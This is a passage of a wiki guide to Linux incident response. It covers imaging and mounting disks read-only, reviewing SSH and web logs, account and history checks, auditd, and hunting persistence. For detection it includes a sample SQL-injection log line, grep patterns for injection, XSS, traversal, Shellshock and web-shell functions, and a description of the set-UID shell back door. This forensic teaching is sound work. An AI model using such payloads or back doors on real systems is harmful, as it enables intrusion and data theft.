# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
